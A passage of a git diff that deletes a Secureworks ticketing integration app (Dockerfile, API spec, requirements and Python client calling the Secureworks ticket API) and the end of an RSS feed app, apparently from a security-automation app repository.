NewsFeed - - print(NewsFeed) - return NewsFeed.entries - - print(NewsFeed) - entry = NewsFeed.entries[1] - - print(entry.keys()) - return entry.keys() - - # Write your data inside this function - #def get_rss_feed(self, url): - # # It comes in as a string, so needs to be set to JSON - # NewsFeed = feedparser.parse(url) - # NewsFeed.entries[1] - # - # print entry.keys() - # return entry.keys() - -if __name__ == "__main__": - RSS.run() diff --git a/secureworks/1.0.0/Dockerfile b/secureworks/1.0.0/Dockerfile deleted file mode 100644 index 364e1531..00000000 --- a/secureworks/1.0.0/Dockerfile +++ /dev/null @@ -1,26 +0,0 @@ -# Base our app image off of the WALKOFF App SDK image -FROM frikky/shuffle:app_sdk as base - -# We're going to stage away all of the bloat from the build tools so lets create a builder stage -FROM base as builder - -# Install all alpine build tools needed for our pip installs -RUN apk --no-cache add --update alpine-sdk libffi libffi-dev musl-dev openssl-dev - -# Install all of our pip packages in a single directory that we can copy to our base image later -RUN mkdir /install -WORKDIR /install -COPY requirements.txt /requirements.txt -RUN pip install --prefix="/install" -r /requirements.txt - -# Switch back to our base image and copy in all of our built packages and source code -FROM base -COPY --from=builder /install /usr/local -COPY src /app - -# Install any binary dependencies needed in our final image -# RUN apk --no-cache add --update my_binary_dependency - -# Finally, lets run our app! -WORKDIR /app -CMD python app.py --log-level DEBUG diff --git a/secureworks/1.0.0/api.yaml b/secureworks/1.0.0/api.yaml deleted file mode 100644 index a9c99e8f..00000000 --- a/secureworks/1.0.0/api.yaml +++ /dev/null @@ -1,254 +0,0 @@ -walkoff_version: 1.0.0 -app_version: 1.0.0 -name: secureworks -description: secureworks app -tags: - - Threat intel - - Ticketing - - MSSP -categories: - - Threat intel - - Ticketing - - MSSP -contact_info: - name: "@frikkylikeme" - url: https://github.com/frikky - email: "frikky@shuffler.io" -authentication: - required: true - parameters: - - name: username - description: The user to authenticate with - multiline: false - example: "username12345" - required: true - schema: - type: string - - name: password - description: The password for the user to authenticate with - multiline: false - example: "username12345" - required: true - schema: - type: string - -actions: - - name: get_ticket_ids - description: Get ticket ids - parameters: - - name: username - description: The user to authenticate with - multiline: false - example: "username12345" - required: true - schema: - type: string - - name: password - description: The password for the user to authenticate with - multiline: false - example: "username12345" - required: true - schema: - type: string - - name: tickettype - description: The type to get. Empty as default - multiline: false - example: "INCIDENT" - required: false - schema: - type: string - - name: grouptype - description: The grouptype of ticket to get. Empty as default - multiline: false - example: "SECURITY" - required: false - schema: - type: string - - name: limit - description: The amount of ticket IDs to get - multiline: false - example: "10" - required: false - schema: - type: string - returns: - schema: - type: string - - name: get_ticket - description: Get ticket - parameters: - - name: username - description: The user to authenticate with - multiline: false - example: "username12345" - required: true - schema: - type: string - - name: password - description: The password for the user to authenticate with - multiline: false - example: "username12345" - required: true - schema: - type: string - - name: ticketId - description: The ticket ID to get - multiline: false - example: "IN1234567" - required: true - schema: - type: string - - name: includeWorklogs - description: To get worklog information in the ticket or not. Defaults to true - multiline: false - example: "true" - required: false - schema: - type: string - returns: - schema: - type: string - - name: close_ticket - description: Close a ticket - parameters: - - name: username - description: The user to authenticate with - multiline: false - example: "username12345" - required: true - schema: - type: string - - name: password - description: The password for the user to authenticate with - multiline: false - example: "username12345" - required: true - schema: - type: string - - name: ticketId - description: The ticket ID to get - multiline: false - example: "IN1234567" - required: true - schema: - type: string - - name: closeCode - description: The code to use - multiline: false - example: "False Positive" - required: true - schema: - type: string - - name: worklogContent - description: The information to add as last note - multiline: false - example: "False because of blah blah" - required: true - schema: - type: string - returns: - schema: - type: string - - name: add_worklog - description: Add info to a ticket - parameters: - - name: username - description: The user to authenticate with - multiline: false - example: "username12345" - required: true - schema: - type: string - - name: password - description: The password for the user to authenticate with - multiline: false - example: "username12345" - required: true - schema: - type: string - - name: ticketId - description: The ticket ID to get - multiline: false - example: "IN1234567" - required: true - schema: - type: string - - name: body - description: The information to add as note - multiline: false - example: "This is an example note" - required: true - schema: - type: string - returns: - schema: - type: string - - name: assign_ticket - description: Assign a ticket to Secureworks - parameters: - - name: username - description: The user to authenticate with - multiline: false - example: "username12345" - required: true - schema: - type: string - - name: password - description: The password for the user to authenticate with - multiline: false - example: "username12345" - required: true - schema: - type: string - - name: ticketId - description: The ticket ID to get - multiline: false - example: "IN1234567" - required: true - schema: - type: string - - name: body - description: The information to add as note - multiline: false - example: "This is an example note" - required: true - schema: - type: string - returns: - schema: - type: string - - name: acknowledge_ticket - description: Assign a ticket to Secureworks - parameters: - - name: username - description: The user to authenticate with - multiline: false - example: "username12345" - required: true - schema: - type: string - - name: password - description: The password for the user to authenticate with - multiline: false - example: "username12345" - required: true - schema: - type: string - - name: ticketId - description: The ticket ID to get - multiline: false - example: "IN1234567" - required: true - schema: - type: string - - name: version - description: The version to acknowledge. $ticket.version as JSON - multiline: false - example: "93a35c3f57e10f1deea1c193b8f4b683fa58522a541ddc6397c888bf9cdfce2500897e1b737a1833a8c0bf9de11c487aa42786" - required: true - schema: - type: string - returns: - schema: - type: string -large_image: data:image/png;base64,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 diff --git a/secureworks/1.0.0/requirements.txt b/secureworks/1.0.0/requirements.txt deleted file mode 100644 index fd7d3e06..00000000 --- a/secureworks/1.0.0/requirements.txt +++ /dev/null @@ -1 +0,0 @@ -requests==2.25.1 \ No newline at end of file diff --git a/secureworks/1.0.0/src/app.py b/secureworks/1.0.0/src/app.py deleted file mode 100755 index f499f6a4..00000000 --- a/secureworks/1.0.0/src/app.py +++ /dev/null @@ -1,145 +0,0 @@ -import time -import json -import json -import random -import socket -import asyncio -import requests - -from walkoff_app_sdk.app_base import AppBase - -class Secureworks(AppBase): - __version__ = "1.0.0" - app_name = "secureworks" - - def __init__(self, redis, logger, console_logger=None): - """ - Each app should have this __init__ to set up Redis and logging. - :param redis: - :param logger: - :param console_logger: - """ - super().__init__(redis, logger, console_logger) - - def get_ticket_ids(self, username, password, tickettype="", groupingtype="", limit="10"): - url = "https://api.secureworks.com/api/ticket/v3/tickets/ids" - headers = { - "Authorization": "APIKEY %s:%s" % (username, password), - "Content-Type": "application/json", - } - - # ticketype, limit, groupingType - params = { - "limit": limit, - } - - if tickettype: - params["ticketType"] = tickettype - if groupingtype: - params["groupingType"] = groupingtype - - # Might need body? - ret = requests.post(url, params=params, headers=headers) - return ret.text - - def get_ticket(self, username, password, ticketId, includeWorklogs=False): - url = "https://api.secureworks.com/api/ticket/v3/tickets/%s" % (ticketId) - headers = { - "Authorization": "APIKEY %s:%s" % (username, password), - "Content-Type": "application/json", - } - - # ticketype, limit, groupingType - params = { - "includeWorklogs": includeWorklogs, - } - - # Might need body? - ret = requests.get(url, params=params, headers=headers) - return ret.text - - def close_ticket(self, username, password, ticketId, closeCode, worklogContent): - url = "https://api.secureworks.com/api/ticket/v3/tickets/%s/close" % (ticketId) - headers = { - "Authorization": "APIKEY %s:%s" % (username, password), - "Content-Type": "application/json", - } - - # ticketype, limit, groupingType - data = { - "worklogContent": worklogContent, - "closeCode": closeCode, - } - - # Might need body? - ret = requests.post(url, headers=headers, json=data) - return ret.text - - def add_worklog(self, username, password, ticketId, body): - url = "https://api.secureworks.com/api/ticket/v3/tickets/%s/worklogs" % (ticketId) - headers = { - "Authorization": "APIKEY %s:%s" % (username, password), - "Content-Type": "application/json", - } - - # ticketype, limit, groupingType - data = { - "content": body, - } - - # Might need body? - ret = requests.post(url, headers=headers, json=data) - return ret.text - - def assign_ticket(self, username, password, ticketId, body): - url = "https://api.secureworks.com/api/ticket/v3/tickets/%s/assign" % (ticketId) - headers = { - "Authorization": "APIKEY %s:%s" % (username, password), - "Content-Type": "application/json", - } - - # ticketype, limit, groupingType - data = { - "worklog": body, - } - - # Might need body? - ret = requests.post(url, headers=headers, json=data) - return ret.text - - # Supposed to take multiple, but can be looped outside instead (: - def acknowledge_ticket(self, username, password, ticketId, version): - url = "https://api.secureworks.com/api/ticket/v3/tickets/acknowledge" - headers = { - "Authorization": "APIKEY %s:%s" % (username, password), - "Content-Type": "application/json", - } - - # ticketype, limit, groupingType - data = { - "ticketVersions": [{ - "ticketId": ticketId, - "version": version, - }], - } - - # Might need body? - ret = requests.post(url, headers=headers, json=data) - return ret.text - -# Run the actual thing after we've checked params -def run(request): - action = request.get_json() - print(action) - print(type(action)) - authorization_key = 